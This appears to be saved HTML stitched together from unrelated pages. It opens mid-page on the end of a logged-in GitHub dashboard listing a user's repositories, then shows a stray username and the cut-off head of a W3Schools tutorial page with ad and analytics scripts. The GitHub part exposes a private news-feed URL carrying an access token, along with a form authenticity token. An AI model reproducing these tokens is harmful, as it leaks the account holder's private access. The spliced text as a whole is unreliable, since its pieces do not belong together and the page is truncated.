<a class="btn btn-primary shelf-cta mx-2 mb-3" target="_blank" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"READ_GUIDE","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="065b53dff8bb900c054c67deccb1d8e25644d77c04a9235dfb06aae8f0845b35" data-ga-click="Hello World, click, Clicked Let's get started button" href="https://guides.github.com/activities/hello-world/">Read the guide</a> <a class="btn shelf-cta mx-2 mb-3" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"START_PROJECT","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="e462943bb31bd3003c3636fdf2bd5d45ab45893d5d6e0e806ec4407a59fe0134" data-ga-click="Hello World, click, Clicked new repository button - context:user" href="/new">Start a project</a> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="shelf-dismiss js-notice-dismiss" action="/dashboard/dismiss_bootcamp" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="delete" /><input type="hidden" name="authenticity_token" value="6CEBLJmBkvqLVwFWOHZm+HjVZVyJJeRKsnJpyHd3MuLzYZKDs9LaEeGErnWlxSpK46d2HozAfEX09hbhXIBjOg==" /> <button name="button" type="submit" class="mr-1 close-button tooltipped tooltipped-w" aria-label="Hide this notice forever" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"DISMISS_BANNER","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="02ff51f0c07535492d3dc33173db83c1ec1293c047f42e1f920c5285055a6db3" data-ga-click="Hello World, click, Dismissed Hello World" data-ga-load="Hello World, linkview, Viewed Hello World"> <svg aria-label="Hide this notice forever" class="octicon octicon-x v-align-text-top" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button></form> </div> </div> <div data-issue-and-pr-hovercards-enabled> <div id="dashboard" class="dashboard"> <h1 class="sr-only">Dashboard</h1> <div class="news"> <div class="js-dashboard-deferred" data-src="/dashboard/recent-activity" data-priority="1" > <div class="Box text-center p-3 mb-4 d-none js-loader"> <div class="loading-message"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> <p class="color-text-secondary my-2 mb-0">Loading recent activity...</p> </div> </div> </div> <div class="d-block d-md-none"> <div class="mt-2 mb-4 Details js-repos-container" id="dashboard-repositories-box" data-pjax-container role="navigation"> <h2 class="f4 mb-1 text-normal d-flex flex-justify-between flex-items-center">Repositories</h2> <div class="Box px-2 py-1"> <div class="js-repos-container" id="repos-container" data-pjax-container> <h2 class="f4 hide-sm hide-md mb-1 f5 d-flex flex-justify-between flex-items-center"> Repositories <a class="btn btn-sm btn-primary color-text-white" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"NEW_REPOSITORY_BUTTON","dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="269f96c8b7925798dca252ba25ee3a5820270ba3fdf7d20d20e789a0179be9aa" data-ga-click="Dashboard, click, Sidebar header new repo button - context:user" href="/new"> <svg class="octicon octicon-repo" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> New </a> </h2> <div class="mt-2 mb-3" role="search" aria-label="Repositories"> <input type="text" class="form-control input-contrast input-block mb-3 js-filterable-field js-your-repositories-search" id="dashboard-repos-filter-center" placeholder="Find a repository…" aria-label="Find a repository…" data-url="/" data-query-name="q" value="" autocomplete="off"> </div> <ul class="list-style-none" data-filterable-for="dashboard-repos-filter-center" data-filterable-type="substring"> <li class="private source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361792290,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="3d884f457d0af2613e33ebf290824eeee38a2e5ae64f76821d5f549c3bf1d827" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:private fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip/hovercard"> <div class="color-text-tertiary mr-2"> <svg class="octicon octicon-lock repo-private-icon flex-shrink-0" aria-label="Repository" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip">sumvip</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip.club" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361782773,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="849667ca9bc191f13352a27f1a9589b81b3f666f2de9d5d2abffb7f540b04524" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip.club/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip.club">sumvip.club</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/88vin.link" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361774252,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0c2927cd368417c1f71936d5894d97c11ad6ad6ba13aad8bb18cb0ae786df73f" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/88vin.link/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="88vin.link">88vin.link</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/github-docs" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362337089,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0aa510bbf6362778733e1189b98877ea5eaed33d40c226753ae619d7d44a1f0b" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/github-docs/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="github-docs">github-docs</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/NhaPhatHanh" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362176831,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="faf207959d3f49dc5283bee49d28f8b67362a5a4d7f6de8f592c4797b96b04d9" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/NhaPhatHanh/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="NhaPhatHanh">NhaPhatHanh</span> </a> </div> </li> </ul> </div> </div> </div> <div class="mb-4 js-repos-container user-repos" id="dashboard-user-teams-repos" data-pjax-container> <h2 class="f4 text-normal mb-1">Your teams</h2> <div class="Box px-2 py-1"> <div class="Details js-repos-container" data-team-hovercards-enabled> <h2 class="hide-sm hide-md f5 mb-1 border-top color-border-secondary pt-3">Your teams</h2> <p class="notice"> You don’t belong to any teams yet! </p> </div> </div> </div> </div> <h2 class="f4 text-normal d-none js-all-activity-header">All activity</h2> <div class="js-dashboard-deferred" data-src="/dashboard-feed" data-priority="0"> <div class="Box text-center p-3 mb-4 mt-2 js-loader"> <div class="loading-message"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> <p class="color-text-secondary my-2 mb-0">Loading activity...</p> </div> <div class="error-message"> <p class="color-text-secondary my-2 mb-2">There was an error in loading the activity feed. <a href="/" aria-label="Reload this page">Reload this page</a>.</p> </div> </div> </div> <div class="f6 color-text-secondary mt-4"> <svg class="octicon octicon-light-bulb color-text-secondary" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-2.363 0-4 1.69-4 3.75 0 .984.424 1.625.984 2.304l.214.253c.223.264.47.556.673.848.284.411.537.896.621 1.49a.75.75 0 01-1.484.211c-.04-.282-.163-.547-.37-.847a8.695 8.695 0 00-.542-.68c-.084-.1-.173-.205-.268-.32C3.201 7.75 2.5 6.766 2.5 5.25 2.5 2.31 4.863 0 8 0s5.5 2.31 5.5 5.25c0 1.516-.701 2.5-1.328 3.259-.095.115-.184.22-.268.319-.207.245-.383.453-.541.681-.208.3-.33.565-.37.847a.75.75 0 01-1.485-.212c.084-.593.337-1.078.621-1.489.203-.292.45-.584.673-.848.075-.088.147-.173.213-.253.561-.679.985-1.32.985-2.304 0-2.06-1.637-3.75-4-3.75zM6 15.25a.75.75 0 01.75-.75h2.5a.75.75 0 010 1.5h-2.5a.75.75 0 01-.75-.75zM5.75 12a.75.75 0 000 1.5h4.5a.75.75 0 000-1.5h-4.5z"></path></svg> <strong>ProTip!</strong> The feed shows you events from people you <a href="/NhaPhatHanh?tab=following">follow</a> and repositories you <a href="/watching">watch</a>. <br> <a class="f6 Link--secondary mb-2 mt-2 d-inline-block" href="/NhaPhatHanh.private.atom?token=AT27FMIJVILZOGSH5R3CXU56ST7X4" data-ga-click="Dashboard, click, News feed atom/RSSlink- context:user"><svg class="octicon octicon-rss mr-1" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.002 2.725a.75.75 0 01.797-.699C8.79 2.42 13.58 7.21 13.974 13.201a.75.75 0 11-1.497.098 10.502 10.502 0 00-9.776-9.776.75.75 0 01-.7-.798zM2 13a1 1 0 112 0 1 1 0 01-2 0zm.84-5.95a.75.75 0 00-.179 1.489c2.509.3 4.5 2.291 4.8 4.8a.75.75 0 101.49-.178A7.003 7.003 0 002.838 7.05z"></path></svg>Subscribe to your news feed</a> </div> </div> </div> </div> </main> <div class="d-flex flex-items-between footer container-lg my-5 px-0" role="contentinfo"> <div class="col-lg-4 list-style-none mr-lg-5"> <a title="Home page" class="d-none d-lg-flex footer-octicon footer-octicon no-underline" href="https://github.com"> <div> <svg height="24" class="octicon octicon-mark-github d-block mr-2 float-left" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </div> <div> <span class="f6 color-text-tertiary"> © 2021 GitHub, Inc. </span> </div> </a> </div> <div class="d-flex flex-justify-start flex-row flex-auto"> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"><a class="Link--secondary" href="https://github.blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li> <li class="mb-1"><a class="Link--secondary" data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> <li class="mb-1"><a class="Link--secondary" href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li> <li class="mb-1"><a href="https://support.github.com" data-ga-click="Footer, go to contact, text:contact" class="Link--secondary">Contact GitHub</a></li> <li class="mb-1"><a href="/pricing" data-ga-click="Footer, go to Pricing, text:Pricing" class="Link--secondary">Pricing</a></li> </ul> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"><a class="Link--secondary" href="https://docs.github.com" data-ga-click="Footer, go to api, text:api">API</a></li> <li class="mb-1"><a class="Link--secondary" href="https://services.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li> <li class="mb-1"> <a class="Link--secondary" href="https://www.githubstatus.com/" data-ga-click="Footer, go to status, text:status">Status</a> </li> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/articles/github-security/" data-ga-click="Footer, go to security, text:security">Security</a> </li> </ul> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-ga-click="Footer, go to terms, text:terms">Terms</a> </li> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a> </li> <li class="mb-1"> <a class="Link--secondary" data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a> </li> </ul> </div> </div> </div> </div> </div> </div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-text-primary hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> </body> </html>
hiteshsuthar01
<html lang="en-US"><head><script type="text/javascript" async="" src="https://script.4dex.io/localstore.js"></script> <title>HTML p tag</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="Keywords" content="HTML, Python, CSS, SQL, JavaScript, How to, PHP, Java, C, C++, C#, jQuery, Bootstrap, Colors, W3.CSS, XML, MySQL, Icons, NodeJS, React, Graphics, Angular, R, AI, Git, Data Science, Code Game, Tutorials, Programming, Web Development, Training, Learning, Quiz, Exercises, Courses, Lessons, References, Examples, Learn to code, Source code, Demos, Tips, Website"> <meta name="Description" content="Well organized and easy to understand Web building tutorials with lots of examples of how to use HTML, CSS, JavaScript, SQL, Python, PHP, Bootstrap, Java, XML and more."> <meta property="og:image" content="https://www.w3schools.com/images/w3schools_logo_436_2.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="436"> <meta property="og:image:height" content="228"> <meta property="og:description" content="W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more."> <link rel="icon" href="/favicon.ico" type="image/x-icon"> <link rel="preload" href="/lib/fonts/fontawesome.woff2?14663396" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-code-pro-v14-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/roboto-mono-v13-latin-500.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-700.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-600.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/freckle-face-v9-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="stylesheet" href="/lib/w3schools30.css"> <script async="" src="//confiant-integrations.global.ssl.fastly.net/prebid/202204201359/wrap.js"></script><script type="text/javascript" src="https://confiant-integrations.global.ssl.fastly.net/t_Qv_vWzcBDsyn934F1E0MWBb1c/prebid/config.js" async=""></script><script type="text/javascript" async="" src="https://www.google-analytics.com/gtm/js?id=GTM-WJ88MZ5&cid=1308236804.1650718121"></script><script async="" src="https://www.google-analytics.com/analytics.js"></script><script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-3855518-1', 'auto'); ga('require', 'displayfeatures'); ga('require', 'GTM-WJ88MZ5'); ga('send', 'pageview'); </script> <script src="/lib/uic.js?v=1.0.3"></script> <script data-cfasync="false" type="text/javascript"> var k42 = false; k42 = true; </script> <script data-cfasync="false" type="text/javascript"> window.snigelPubConf = { "adengine": { "activeAdUnits": ["main_leaderboard", "sidebar_top", "bottom_left", "bottom_right"] } } uic_r_a() </script> <script async="" data-cfasync="false" src="https://cdn.snigelweb.com/adengine/w3schools.com/loader.js" type="text/javascript"></script> <script src="/lib/my-learning.js?v=1.0.9"></script> <script type="text/javascript"> var stickyadstatus = ""; function fix_stickyad() { document.getElementById("stickypos").style.position = "sticky"; var elem = document.getElementById("stickyadcontainer"); if (!elem) {return false;} if (document.getElementById("skyscraper")) { var skyWidth = Number(w3_getStyleValue(document.getElementById("skyscraper"), "width").replace("px", "")); } else { var skyWidth = Number(w3_getStyleValue(document.getElementById("right"), "width").replace("px", "")); } elem.style.width = skyWidth + "px"; if (window.innerWidth <= 992) { elem.style.position = ""; elem.style.top = stickypos + "px"; return false; } var stickypos = document.getElementById("stickypos").offsetTop; var docTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop; var adHeight = Number(w3_getStyleValue(elem, "height").replace("px", "")); if (stickyadstatus == "") { if ((stickypos - docTop) < 60) { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } else { if ((docTop + 60) - stickypos < 0) { elem.style.position = ""; elem.style.top = stickypos + "px"; stickyadstatus = ""; document.getElementById("stickypos").style.position = "static"; } } if (stickyadstatus == "sticky") { if ((docTop + adHeight + 60) > document.getElementById("footer").offsetTop) { elem.style.position = "absolute"; elem.style.top = (document.getElementById("footer").offsetTop - adHeight) + "px"; document.getElementById("stickypos").style.position = "static"; } else { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } } function w3_getStyleValue(elmnt,style) { if (window.getComputedStyle) { return window.getComputedStyle(elmnt,null).getPropertyValue(style); } else { return elmnt.currentStyle[style]; } } </script> <link rel="stylesheet" type="text/css" href="/browserref.css"> <script type="text/javascript" async="" src="//cdn.snigelweb.com/prebid/5.20.2/prebid.js?v=3547-1650632016452"></script><script type="text/javascript" async="" src="//c.amazon-adsystem.com/aax2/apstag.js"></script><script type="text/javascript" async="" src="//securepubads.g.doubleclick.net/tag/js/gpt.js"></script><script type="text/javascript" async="" src="https://adengine.snigelweb.com/w3schools.com/3547-1650632016452/adngin.js"></script><script type="text/javascript" async="" src="//cdn.snigelweb.com/argus/argus.js"></script><meta http-equiv="origin-trial" content="AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0="><meta http-equiv="origin-trial" content="Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" 